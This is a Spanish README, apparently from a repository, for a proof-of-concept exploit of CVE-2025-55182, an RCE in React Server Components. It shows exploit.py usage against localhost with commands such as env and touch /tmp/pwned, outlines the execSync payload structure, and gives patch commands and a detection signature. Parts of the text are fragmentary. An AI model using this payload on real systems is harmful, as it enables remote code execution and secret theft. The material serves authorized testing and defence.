
Exploit de prueba de concepto para CVE-2025-55182 (React2Shell), una vulnerabilidad crítica de RCE en React Server Components mediante deserialización insegura. Incluye script de exploit, configuración de aplicación vulnerable y firmas de detección para pruebas de seguridad autorizadas.
Este repositorio contiene una prueba de concepto para CVE-2025-55182, una vulnerabilidad crítica de ejecución remota de código en React Server Components. Esto es solo para pruebas de seguridad autorizadas y fines de investigación.
React:
Next.js:
La vulnerabilidad explota la deserialización insegura en el protocolo Flight de React Server Components. Cuando un servidor recibe un payload especialmente diseñado, no logra validar adecuadamente la estructura antes de deserializar, permitiendo que datos controlados por el atacante manipulen la ejecución del lado del servidor.
then personalizadoprocess.mainModule.require('child_process')npm install
npm run dev
El servidor se iniciará en http://localhost:3000
app/
├── page.js # Página principal con ServerForm
├── ServerForm.js # Componente cliente con formulario
├── actions.js # Acción del servidor vulnerable
└── layout.js # Layout raíz
python3 exploit.py -t http://localhost:3000 -c "whoami"
-t, --target: URL objetivo (requerido)-c, --command: Comando de shell a ejecutar (por defecto: id)--check-only: Solo verificar si el objetivo parece vulnerableVerificar si el objetivo es vulnerable:
python3 exploit.py -t http://localhost:3000 --check-only
Ejecutar comandos arbitrarios:
# Obtener información del usuario
python3 exploit.py -t http://localhost:3000 -c "id"
# Listar archivos
python3 exploit.py -t http://localhost:3000 -c "ls -la"
# Crear un archivo como POC
python3 exploit.py -t http://localhost:3000 -c "touch /tmp/pwned"
# Leer variables de entorno
python3 exploit.py -t http://localhost:3000 -c "env"
El exploit utiliza multipart form-data con:
Field "0": JSON malicioso con manejador 'then' personalizado
Field "1": Referencia al campo 0 ($@0)
Header: Next-Action: x (activa el procesamiento RSC)
El payload manipula el objeto interno _response para ejecutar:
process.mainModule.require('child_process').execSync('<command>')
Actualizar React:
npm install [email protected] [email protected]
Actualizar Next.js:
npm install [email protected] # or latest patched version
Next-Action$@then sospechosas en los cuerpos de las solicitudesPOST / HTTP/1.1
Next-Action: x
Content-Type: multipart/form-data
...containing {"then":"$@
Esta prueba de concepto se proporciona solo con fines educativos y de pruebas de seguridad autorizadas. El acceso no autorizado a sistemas informáticos es ilegal. Los autores no asumen ninguna responsabilidad por el mal uso de esta información.
NO:
Licencia MIT - Solo para fines de investigación de seguridad